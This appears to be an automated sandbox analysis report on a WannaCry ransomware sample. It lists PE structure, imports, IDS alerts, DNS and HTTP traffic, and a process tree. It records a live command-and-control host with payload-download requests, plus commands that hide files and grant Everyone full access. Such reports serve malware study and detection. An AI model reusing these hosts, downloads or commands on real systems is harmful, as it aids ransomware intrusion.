                                    IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                    IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                    IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                    IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                    IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                    IMAGE_DIRECTORY_ENTRY_IAT0x80000x1d8.rdata
                                    IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                    IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                    IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                    Sections

                                    NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                    .text0x10000x69b00x7000920e964050a1a5dd60dd00083fd541a2False0.5747419084821429data6.404235106100747IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                    .rdata0x80000x5f700x60002c42611802d585e6eed68595876d1a15False0.5781656901041666data6.66357096840794IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                    .data0xe0000x19580x200083506e37bd8b50cacabd480f8eb3849bFalse0.394287109375Matlab v4 mat-file (little endian) ry, numeric, rows 0, columns 04.4557495078691405IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                    .rsrc0x100000x349fa00x34a000f99ce7dc94308f0a149a19e022e4c316unknownunknownunknownunknownIMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                    ];Au~0x35a0000x50000x50003d9cb625aa8c1c4c3ea723113d7908d5False0.64267578125data6.037881193062587IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

                                    Resources

                                    NameRVASizeTypeLanguageCountryZLIB Complexity
                                    XIA0x100f00x349635Zip archive data, at least v2.0 to extract, compression method=deflateEnglishUnited States1.0002689361572266
                                    RT_VERSION0x3597280x388dataEnglishUnited States0.46349557522123896
                                    RT_MANIFEST0x359ab00x4efexported SGML document, ASCII text, with CRLF line terminatorsEnglishUnited States0.42913697545526525

                                    Imports

                                    DLLImport
                                    KERNEL32.dllGetFileAttributesW, GetFileSizeEx, CreateFileA, InitializeCriticalSection, DeleteCriticalSection, ReadFile, GetFileSize, WriteFile, LeaveCriticalSection, EnterCriticalSection, SetFileAttributesW, SetCurrentDirectoryW, CreateDirectoryW, GetTempPathW, GetWindowsDirectoryW, GetFileAttributesA, SizeofResource, LockResource, LoadResource, MultiByteToWideChar, Sleep, OpenMutexA, GetFullPathNameA, CopyFileA, GetModuleFileNameA, VirtualAlloc, VirtualFree, FreeLibrary, HeapAlloc, GetProcessHeap, GetModuleHandleA, SetLastError, VirtualProtect, IsBadReadPtr, HeapFree, SystemTimeToFileTime, LocalFileTimeToFileTime, CreateDirectoryA, GetStartupInfoA, SetFilePointer, SetFileTime, GetComputerNameW, GetCurrentDirectoryA, SetCurrentDirectoryA, GlobalAlloc, LoadLibraryA, GetProcAddress, GlobalFree, CreateProcessA, CloseHandle, WaitForSingleObject, TerminateProcess, GetExitCodeProcess, FindResourceA
                                    USER32.dllwsprintfA
                                    ADVAPI32.dllCreateServiceA, OpenServiceA, StartServiceA, CloseServiceHandle, CryptReleaseContext, RegCreateKeyW, RegSetValueExA, RegQueryValueExA, RegCloseKey, OpenSCManagerA
                                    MSVCRT.dllrealloc, fclose, fwrite, fread, fopen, sprintf, rand, srand, strcpy, memset, strlen, wcscat, wcslen, __CxxFrameHandler, ??3@YAXPAX@Z, memcmp, _except_handler3, _local_unwind2, wcsrchr, swprintf, ??2@YAPAXI@Z, memcpy, strcmp, strrchr, __p___argv, __p___argc, _stricmp, free, malloc, ??0exception@@QAE@ABV0@@Z, ??1exception@@UAE@XZ, ??0exception@@QAE@ABQBD@Z, _CxxThrowException, calloc, strcat, _mbsstr, ??1type_info@@UAE@XZ, _exit, _XcptFilter, exit, _acmdln, __getmainargs, _initterm, __setusermatherr, _adjust_fdiv, __p__commode, __p__fmode, __set_app_type, _controlfp

                                    Possible Origin

                                    Language of compilation systemCountry where language is spokenMap
                                    EnglishUnited States

                                    Network Behavior

                                    Suricata IDS Alerts

                                    TimestampProtocolSIDSignatureSource PortDest PortSource IPDest IP
                                    2024-07-26T01:51:24.855536+0200TCP2022930ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow4434971913.85.23.86192.168.2.7
                                    2024-07-26T01:50:32.752778+0200TCP2807908ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin49700799192.168.2.744.221.84.105
                                    2024-07-26T01:50:46.300052+0200TCP2022930ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow4434970513.85.23.86192.168.2.7
                                    2024-07-26T01:50:28.415174+0200UDP2838522ETPRO MALWARE Backdoor.Win32/Bdaejec.A CnC Domain in DNS Lookup5663653192.168.2.71.1.1.1
                                    2024-07-26T01:50:28.954468+0200TCP2807908ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin49699799192.168.2.744.221.84.105
                                    2024-07-26T01:50:36.345422+0200TCP2807908ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin49701799192.168.2.744.221.84.105

                                    Network Port Distribution

                                    TCP Packets

                                    TimestampSource PortDest PortSource IPDest IP
                                    Jul 26, 2024 01:50:28.519965887 CEST49699799192.168.2.744.221.84.105
                                    Jul 26, 2024 01:50:28.525269032 CEST7994969944.221.84.105192.168.2.7
                                    Jul 26, 2024 01:50:28.525420904 CEST49699799192.168.2.744.221.84.105
                                    Jul 26, 2024 01:50:28.525578022 CEST49699799192.168.2.744.221.84.105
                                    Jul 26, 2024 01:50:28.530378103 CEST7994969944.221.84.105192.168.2.7
                                    Jul 26, 2024 01:50:28.954386950 CEST7994969944.221.84.105192.168.2.7
                                    Jul 26, 2024 01:50:28.954468012 CEST49699799192.168.2.744.221.84.105
                                    Jul 26, 2024 01:50:28.954895973 CEST7994969944.221.84.105192.168.2.7
                                    Jul 26, 2024 01:50:28.954943895 CEST49699799192.168.2.744.221.84.105
                                    Jul 26, 2024 01:50:28.970340014 CEST49699799192.168.2.744.221.84.105
                                    Jul 26, 2024 01:50:28.975227118 CEST7994969944.221.84.105192.168.2.7
                                    Jul 26, 2024 01:50:32.337037086 CEST49700799192.168.2.744.221.84.105
                                    Jul 26, 2024 01:50:32.343308926 CEST7994970044.221.84.105192.168.2.7
                                    Jul 26, 2024 01:50:32.343893051 CEST49700799192.168.2.744.221.84.105
                                    Jul 26, 2024 01:50:32.344798088 CEST49700799192.168.2.744.221.84.105
                                    Jul 26, 2024 01:50:32.350991964 CEST7994970044.221.84.105192.168.2.7
                                    Jul 26, 2024 01:50:32.752643108 CEST7994970044.221.84.105192.168.2.7
                                    Jul 26, 2024 01:50:32.752698898 CEST7994970044.221.84.105192.168.2.7
                                    Jul 26, 2024 01:50:32.752778053 CEST49700799192.168.2.744.221.84.105
                                    Jul 26, 2024 01:50:32.753711939 CEST49700799192.168.2.744.221.84.105
                                    Jul 26, 2024 01:50:32.758496046 CEST7994970044.221.84.105192.168.2.7
                                    Jul 26, 2024 01:50:35.944144964 CEST49701799192.168.2.744.221.84.105
                                    Jul 26, 2024 01:50:35.949026108 CEST7994970144.221.84.105192.168.2.7
                                    Jul 26, 2024 01:50:35.949099064 CEST49701799192.168.2.744.221.84.105
                                    Jul 26, 2024 01:50:35.955559015 CEST49701799192.168.2.744.221.84.105
                                    Jul 26, 2024 01:50:35.960711002 CEST7994970144.221.84.105192.168.2.7
                                    Jul 26, 2024 01:50:36.345341921 CEST7994970144.221.84.105192.168.2.7
                                    Jul 26, 2024 01:50:36.345422029 CEST49701799192.168.2.744.221.84.105
                                    Jul 26, 2024 01:50:36.345457077 CEST7994970144.221.84.105192.168.2.7
                                    Jul 26, 2024 01:50:36.345516920 CEST49701799192.168.2.744.221.84.105
                                    Jul 26, 2024 01:50:36.348314047 CEST49701799192.168.2.744.221.84.105
                                    Jul 26, 2024 01:50:36.353176117 CEST7994970144.221.84.105192.168.2.7

                                    UDP Packets

                                    TimestampSource PortDest PortSource IPDest IP
                                    Jul 26, 2024 01:50:28.415174007 CEST5663653192.168.2.71.1.1.1
                                    Jul 26, 2024 01:50:28.512159109 CEST53566361.1.1.1192.168.2.7

                                    DNS Queries

                                    TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                    Jul 26, 2024 01:50:28.415174007 CEST192.168.2.71.1.1.10xc553Standard query (0)ddos.dnsnb8.netA (IP address)IN (0x0001)false

                                    DNS Answers

                                    TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                    Jul 26, 2024 01:50:28.512159109 CEST1.1.1.1192.168.2.70xc553No error (0)ddos.dnsnb8.net44.221.84.105A (IP address)IN (0x0001)false

                                    HTTP Request Dependency Graph

                                    • ddos.dnsnb8.net:799

                                    HTTP Packets

                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                    0192.168.2.74969944.221.84.1057996768C:\Users\user\AppData\Local\Temp\wBQInv.exe
                                    TimestampBytes transferredDirectionData
                                    Jul 26, 2024 01:50:28.525578022 CEST288OUTGET /cj//k1.rar HTTP/1.1
                                    Accept: */*
                                    Accept-Encoding: gzip, deflate
                                    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                    Host: ddos.dnsnb8.net:799
                                    Connection: Keep-Alive


                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                    1192.168.2.74970044.221.84.1057996768C:\Users\user\AppData\Local\Temp\wBQInv.exe
                                    TimestampBytes transferredDirectionData
                                    Jul 26, 2024 01:50:32.344798088 CEST288OUTGET /cj//k2.rar HTTP/1.1
                                    Accept: */*
                                    Accept-Encoding: gzip, deflate
                                    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                    Host: ddos.dnsnb8.net:799
                                    Connection: Keep-Alive


                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                    2192.168.2.74970144.221.84.1057996768C:\Users\user\AppData\Local\Temp\wBQInv.exe
                                    TimestampBytes transferredDirectionData
                                    Jul 26, 2024 01:50:35.955559015 CEST288OUTGET /cj//k3.rar HTTP/1.1
                                    Accept: */*
                                    Accept-Encoding: gzip, deflate
                                    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                    Host: ddos.dnsnb8.net:799
                                    Connection: Keep-Alive


                                    Statistics

                                    CPU Usage

                                    Click to jump to process

                                    Memory Usage

                                    Click to jump to process

                                    High Level Behavior Distribution

                                    Click to dive into process behavior distribution

                                    Behavior

                                    Click to jump to process

                                    System Behavior

                                    General

                                    Target ID:0
                                    Start time:19:50:26
                                    Start date:25/07/2024
                                    Path:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    Wow64 process (32bit):true
                                    Commandline:"C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe"
                                    Imagebase:0x400000
                                    File size:3'534'848 bytes
                                    MD5 hash:47CA2AF9D739BF1A16D8480FD875E782
                                    Has elevated privileges:true
                                    Has administrator privileges:true
                                    Programmed in:C, C++ or other language
                                    Yara matches:
                                    • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000000.00000000.1256386714.000000000040E000.00000008.00000001.01000000.00000003.sdmp, Author: us-cert code analysis team
                                    • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000000.00000003.2291348728.0000000000963000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                    • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000000.00000003.1316026746.000000000090E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                    • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000000.00000003.1798063418.0000000000960000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                    • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000000.00000003.1797315090.0000000000960000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                    • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000000.00000002.3703395638.000000000040F000.00000004.00000001.01000000.00000003.sdmp, Author: us-cert code analysis team
                                    Reputation:low
                                    Has exited:false

                                    General

                                    Target ID:1
                                    Start time:19:50:26
                                    Start date:25/07/2024
                                    Path:C:\Windows\System32\dllhost.exe
                                    Wow64 process (32bit):false
                                    Commandline:C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
                                    Imagebase:0x7ff7d8730000
                                    File size:21'312 bytes
                                    MD5 hash:08EB78E5BE019DF044C26B14703BD1FA
                                    Has elevated privileges:false
                                    Has administrator privileges:false
                                    Programmed in:C, C++ or other language
                                    Reputation:moderate
                                    Has exited:true

                                    General

                                    Target ID:2
                                    Start time:19:50:26
                                    Start date:25/07/2024
                                    Path:C:\Users\user\AppData\Local\Temp\wBQInv.exe
                                    Wow64 process (32bit):true
                                    Commandline:C:\Users\user~1\AppData\Local\Temp\wBQInv.exe
                                    Imagebase:0x410000
                                    File size:15'872 bytes
                                    MD5 hash:F7D21DE5C4E81341ECCD280C11DDCC9A
                                    Has elevated privileges:true
                                    Has administrator privileges:true
                                    Programmed in:C, C++ or other language
                                    Reputation:moderate
                                    Has exited:true

                                    General

                                    Target ID:3
                                    Start time:19:50:26
                                    Start date:25/07/2024
                                    Path:C:\Windows\System32\dllhost.exe
                                    Wow64 process (32bit):false
                                    Commandline:C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                    Imagebase:0x7ff7d8730000
                                    File size:21'312 bytes
                                    MD5 hash:08EB78E5BE019DF044C26B14703BD1FA
                                    Has elevated privileges:true
                                    Has administrator privileges:true
                                    Programmed in:C, C++ or other language
                                    Reputation:moderate
                                    Has exited:true

                                    General

                                    Target ID:4
                                    Start time:19:50:27
                                    Start date:25/07/2024
                                    Path:C:\Windows\System32\svchost.exe
                                    Wow64 process (32bit):false
                                    Commandline:C:\Windows\System32\svchost.exe -k NetworkService -p
                                    Imagebase:0x7ff7b4ee0000
                                    File size:55'320 bytes
                                    MD5 hash:B7F884C1B74A263F746EE12A5F7C9F6A
                                    Has elevated privileges:true
                                    Has administrator privileges:false
                                    Programmed in:C, C++ or other language
                                    Reputation:high
                                    Has exited:true

                                    General

                                    Target ID:6
                                    Start time:19:50:29
                                    Start date:25/07/2024
                                    Path:C:\Windows\SysWOW64\attrib.exe
                                    Wow64 process (32bit):true
                                    Commandline:attrib +h .
                                    Imagebase:0x4b0000
                                    File size:19'456 bytes
                                    MD5 hash:0E938DD280E83B1596EC6AA48729C2B0
                                    Has elevated privileges:true
                                    Has administrator privileges:true
                                    Programmed in:C, C++ or other language
                                    Reputation:moderate
                                    Has exited:true

                                    General

                                    Target ID:7
                                    Start time:19:50:29
                                    Start date:25/07/2024
                                    Path:C:\Windows\System32\conhost.exe
                                    Wow64 process (32bit):false
                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                    Imagebase:0x7ff75da10000
                                    File size:862'208 bytes
                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                    Has elevated privileges:true
                                    Has administrator privileges:true
                                    Programmed in:C, C++ or other language
                                    Reputation:high
                                    Has exited:true

                                    General

                                    Target ID:8
                                    Start time:19:50:29
                                    Start date:25/07/2024
                                    Path:C:\Windows\SysWOW64\icacls.exe
                                    Wow64 process (32bit):true
                                    Commandline:icacls . /grant Everyone:F /T /C /Q
                                    Imagebase:0xff0000
                                    File size:29'696 bytes
                                    MD5 hash:2E49585E4E08565F52090B144062F97E
                                    Has elevated privileges:true
                                    Has administrator privileges:true
                                    Programmed in:C, C++ or other language
                                    Reputation:high
                                    Has exited:true

                                    General

                                    Target ID:9
                                    Start time:19:50:29
                                    Start date:25/07/2024
                                    Path:C:\Windows\System32\conhost.exe
                                    Wow64 process (32bit):false
                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                    Imagebase:0x7ff75da10000
                                    File size:862'208 bytes
                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                    Has elevated privileges:true
                                    Has administrator privileges:true
                                    Programmed in:C, C++ or other language
                                    Reputation:high
                                    Has exited:true

                                    General

                                    Target ID:10
                                    Start time:19:50:30
                                    Start date:25/07/2024
                                    Path:C:\Users\user\Desktop\taskdl.exe
                                    Wow64 process (32bit):true
                                    Commandline:taskdl.exe
                                    Imagebase:0x400000
                                    File size:20'480 bytes
                                    MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                    Has elevated privileges:true
                                    Has administrator privileges:true
                                    Programmed in:C, C++ or other language
                                    Reputation:moderate
                                    Has exited:true

                                    General

                                    Target ID:11
                                    Start time:19:50:30
                                    Start date:25/07/2024
                                    Path:C:\Users\user\Desktop\taskdl.exe
                                    Wow64 process (32bit):true
                                    Commandline:taskdl.exe
                                    Imagebase:0x400000
                                    File size:20'480 bytes
                                    MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                    Has elevated privileges:true
                                    Has administrator privileges:true
                                    Programmed in:C, C++ or other language
                                    Reputation:moderate
                                    Has exited:true

                                    General

                                    Target ID:12
                                    Start time:19:50:30
                                    Start date:25/07/2024
                                    Path:C:\Windows\SysWOW64\cmd.exe
                                    Wow64 process (32bit):true
                                    Commandline:C:\Windows\system32\cmd.exe /c 36751721951490.bat
                                    Imagebase:0x410000
                                    File size:236'544 bytes
                                    MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                    Has elevated privileges:true
                                    Has administrator privileges:true
                                    Programmed in:C, C++ or other language
                                    Reputation:high
                                    Has exited:true

                                    General

                                    Target ID:13
                                    Start time:19:50:31
                                    Start date:25/07/2024
                                    Path:C:\Windows\System32\conhost.exe
                                    Wow64 process (32bit):false
                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                    Imagebase:0x7ff75da10000
                                    File size:862'208 bytes
                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                    Has elevated privileges:true
                                    Has administrator privileges:true
                                    Programmed in:C, C++ or other language
                                    Reputation:high
                                    Has exited:true

                                    General

                                    Target ID:14
                                    Start time:19:50:31
                                    Start date:25/07/2024
                                    Path:C:\Users\user\Desktop\taskdl.exe
                                    Wow64 process (32bit):true
                                    Commandline:taskdl.exe
                                    Imagebase:0x400000
                                    File size:20'480 bytes
                                    MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                    Has elevated privileges:true
                                    Has administrator privileges:true
                                    Programmed in:C, C++ or other language
                                    Has exited:true

                                    General

                                    Target ID:15
                                    Start time:19:50:31
                                    Start date:25/07/2024
                                    Path:C:\Windows\SysWOW64\cscript.exe
                                    Wow64 process (32bit):true
                                    Commandline:cscript.exe //nologo m.vbs
                                    Imagebase:0x140000
                                    File size:144'896 bytes
                                    MD5 hash:CB601B41D4C8074BE8A84AED564A94DC
                                    Has elevated privileges:true
                                    Has administrator privileges:true
                                    Programmed in:C, C++ or other language
                                    Has exited:true

                                    General

                                    Target ID:16
                                    Start time:19:50:31
                                    Start date:25/07/2024
                                    Path:C:\Users\user\Desktop\taskdl.exe
                                    Wow64 process (32bit):true
                                    Commandline:taskdl.exe
                                    Imagebase:0x400000
                                    File size:20'480 bytes
                                    MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                    Has elevated privileges:true
                                    Has administrator privileges:true
                                    Programmed in:C, C++ or other language
                                    Has exited:true

                                    General

                                    Target ID:17
                                    Start time:19:50:31
                                    Start date:25/07/2024
                                    Path:C:\Users\user\Desktop\taskdl.exe
                                    Wow64 process (32bit):true
                                    Commandline:taskdl.exe
                                    Imagebase:0x400000
                                    File size:20'480 bytes
                                    MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                    Has elevated privileges:true
                                    Has administrator privileges:true
                                    Programmed in:C, C++ or other language
                                    Has exited:true

                                    General

                                    Target ID:19
                                    Start time:19:50:32
                                    Start date:25/07/2024
                                    Path:C:\Users\user\Desktop\taskdl.exe
                                    Wow64 process (32bit):true
                                    Commandline:taskdl.exe
                                    Imagebase:0x400000
                                    File size:20'480 bytes
                                    MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                    Has elevated privileges:true
                                    Has administrator privileges:true
                                    Programmed in:C, C++ or other language
                                    Has exited:true

                                    General

                                    Target ID:21
                                    Start time:19:50:32
                                    Start date:25/07/2024
                                    Path:C:\Users\user\Desktop\taskdl.exe
                                    Wow64 process (32bit):true
                                    Commandline:taskdl.exe
                                    Imagebase:0x400000
                                    File size:20'480 bytes
                                    MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                    Has elevated privileges:true
                                    Has administrator privileges:true
                                    Programmed in:C, C++ or other language
                                    Has exited:true

                                    General

                                    Target ID:22
                                    Start time:19:50:32
                                    Start date:25/07/2024
                                    Path:C:\Users\user\Desktop\taskdl.exe
                                    Wow64 process (32bit):true
                                    Commandline:taskdl.exe
                                    Imagebase:0x400000
                                    File size:20'480 bytes
                                    MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                    Has elevated privileges:true
                                    Has administrator privileges:true
                                    Programmed in:C, C++ or other language
                                    Has exited:true

                                    General

                                    Target ID:23
                                    Start time:19:50:33
                                    Start date:25/07/2024
                                    Path:C:\Users\user\Desktop\taskdl.exe
                                    Wow64 process (32bit):true
                                    Commandline:taskdl.exe
                                    Imagebase:0x400000
                                    File size:20'480 bytes
                                    MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                    Has elevated privileges:true
                                    Has administrator privileges:true
                                    Programmed in:C, C++ or other language
                                    Has exited:true

                                    General

                                    Target ID:24
                                    Start time:19:50:33
                                    Start date:25/07/2024
                                    Path:C:\Users\user\Desktop\taskdl.exe
                                    Wow64 process (32bit):true
                                    Commandline:taskdl.exe
                                    Imagebase:0x400000
                                    File size:20'480 bytes
                                    MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                    Has elevated privileges:true
                                    Has administrator privileges:true
                                    Programmed in:C, C++ or other language
                                    Has exited:true

                                    General

                                    Target ID:25
                                    Start time:19:50:35
                                    Start date:25/07/2024
                                    Path:C:\Users\user\Desktop\taskdl.exe
                                    Wow64 process (32bit):true
                                    Commandline:taskdl.exe
                                    Imagebase:0x400000
                                    File size:20'480 bytes
                                    MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                    Has elevated privileges:true
                                    Has administrator privileges:true
                                    Programmed in:C, C++ or other language
                                    Has exited:true

                                    General

                                    Target ID:26
                                    Start time:19:50:36
                                    Start date:25/07/2024
                                    Path:C:\Users\user\Desktop\taskdl.exe
                                    Wow64 process (32bit):true
                                    Commandline:taskdl.exe
                                    Imagebase:0x400000
                                    File size:20'480 bytes
                                    MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                    Has elevated privileges:true
                                    Has administrator privileges:true
                                    Programmed in:C, C++ or other language
                                    Has exited:true

                                    General

                                    Target ID:27
                                    Start time:19:50:37
                                    Start date:25/07/2024
                                    Path:C:\Users\user\Desktop\taskdl.exe
                                    Wow64 process (32bit):true
                                    Commandline:taskdl.exe
                                    Imagebase:0x400000
                                    File size:20'480 bytes
                                    MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                    Has elevated privileges:true
                                    Has administrator privileges:true
                                    Programmed in:C, C++ or other language
                                    Has exited:true

                                    General

                                    Target ID:28
                                    Start time:19:50:38
                                    Start date:25/07/2024
                                    Path:C:\Users\user\Desktop\taskdl.exe
                                    Wow64 process (32bit):true
                                    Commandline:taskdl.exe
                                    Imagebase:0x400000
                                    File size:20'480 bytes
                                    MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                    Has elevated privileges:true
                                    Has administrator privileges:true
                                    Programmed in:C, C++ or other language
                                    Has exited:true

                                    General

                                    Target ID:29
                                    Start time:19:50:38
                                    Start date:25/07/2024
                                    Path:C:\Users\user\Desktop\taskdl.exe
                                    Wow64 process (32bit):true
                                    Commandline:taskdl.exe
                                    Imagebase:0x7ff7b4ee0000
                                    File size:20'480 bytes
                                    MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                    Has elevated privileges:true
                                    Has administrator privileges:true
                                    Programmed in:C, C++ or other language
                                    Has exited:true

                                    General

                                    Target ID:31
                                    Start time:19:50:38
                                    Start date:25/07/2024
                                    Path:C:\Windows\System32\svchost.exe
                                    Wow64 process (32bit):false
                                    Commandline:C:\Windows\System32\svchost.exe -k WerSvcGroup
                                    Imagebase:0x7ff7b4ee0000
                                    File size:55'320 bytes
                                    MD5 hash:B7F884C1B74A263F746EE12A5F7C9F6A
                                    Has elevated privileges:true
                                    Has administrator privileges:true
                                    Programmed in:C, C++ or other language
                                    Has exited:true

                                    General

                                    Target ID:32
                                    Start time:19:50:38
                                    Start date:25/07/2024
                                    Path:C:\Users\user\Desktop\taskdl.exe
                                    Wow64 process (32bit):true
                                    Commandline:taskdl.exe
                                    Imagebase:0x400000
                                    File size:20'480 bytes
                                    MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                    Has elevated privileges:true
                                    Has administrator privileges:true
                                    Programmed in:C, C++ or other language
                                    Has exited:true

                                    General

                                    Target ID:33
                                    Start time:19:50:38
                                    Start date:25/07/2024
                                    Path:C:\Windows\SysWOW64\WerFault.exe
                                    Wow64 process (32bit):true
                                    Commandline:C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 6768 -ip 6768
                                    Imagebase:0x100000
                                    File size:483'680 bytes
                                    MD5 hash:C31336C1EFC2CCB44B4326EA793040F2
                                    Has elevated privileges:true
                                    Has administrator privileges:true
                                    Programmed in:C, C++ or other language
                                    Has exited:true

                                    General

                                    Target ID:34
                                    Start time:19:50:39
                                    Start date:25/07/2024
                                    Path:C:\Users\user\Desktop\taskdl.exe
                                    Wow64 process (32bit):true
                                    Commandline:taskdl.exe
                                    Imagebase:0x400000
                                    File size:20'480 bytes
                                    MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                    Has elevated privileges:true
                                    Has administrator privileges:true
                                    Programmed in:C, C++ or other language
                                    Has exited:true

                                    General

                                    Target ID:35
                                    Start time:19:50:39
                                    Start date:25/07/2024
                                    Path:C:\Windows\SysWOW64\WerFault.exe
                                    Wow64 process (32bit):true
                                    Commandline:C:\Windows\SysWOW64\WerFault.exe -u -p 6768 -s 916
                                    Imagebase:0x7ff75da10000
                                    File size:483'680 bytes
                                    MD5 hash:C31336C1EFC2CCB44B4326EA793040F2
                                    Has elevated privileges:true
                                    Has administrator privileges:true
                                    Programmed in:C, C++ or other language
                                    Has exited:true

                                    General

                                    Target ID:36
                                    Start time:19:50:39
                                    Start date:25/07/2024
                                    Path:C:\Users\user\Desktop\taskdl.exe
                                    Wow64 process (32bit):true
                                    Commandline:taskdl.exe
                                    Imagebase:0x400000
                                    File size:20'480 bytes
                                    MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                    Has elevated privileges:true
                                    Has administrator privileges:true
                                    Programmed in:C, C++ or other language
                                    Has exited:true

                                    General

                                    Target ID:38
                                    Start time:19:50:41
                                    Start date:25/07/2024
                                    Path:C:\Windows\System32\svchost.exe
                                    Wow64 process (32bit):false
                                    Commandline:C:\Windows\System32\svchost.exe -k wsappx -p -s ClipSVC
                                    Imagebase:0x7ff7b4ee0000
                                    File size:55'320 bytes
                                    MD5 hash:B7F884C1B74A263F746EE12A5F7C9F6A
                                    Has elevated privileges:true
                                    Has administrator privileges:true
                                    Programmed in:C, C++ or other language
                                    Has exited:false

                                    General

                                    Target ID:39
                                    Start time:19:50:41
                                    Start date:25/07/2024
                                    Path:C:\Users\user\Desktop\taskdl.exe
                                    Wow64 process (32bit):true
                                    Commandline:taskdl.exe
                                    Imagebase:0x400000
                                    File size:20'480 bytes
                                    MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                    Has elevated privileges:true
                                    Has administrator privileges:true
                                    Programmed in:C, C++ or other language
                                    Has exited:true

                                    General

                                    Target ID:41
                                    Start time:19:50:41
                                    Start date:25/07/2024
                                    Path:C:\Users\user\Desktop\taskdl.exe
                                    Wow64 process (32bit):true
                                    Commandline:taskdl.exe
                                    Imagebase:0x400000
                                    File size:20'480 bytes
                                    MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                    Has elevated privileges:true
                                    Has administrator privileges:true
                                    Programmed in:C, C++ or other language
                                    Has exited:true

                                    Disassembly

                                    Reset < >

                                      Execution Graph

                                      Execution Coverage:25.9%
                                      Dynamic/Decrypted Code Coverage:54.3%
                                      Signature Coverage:29.2%
                                      Total number of Nodes:1442
                                      Total number of Limit Nodes:124
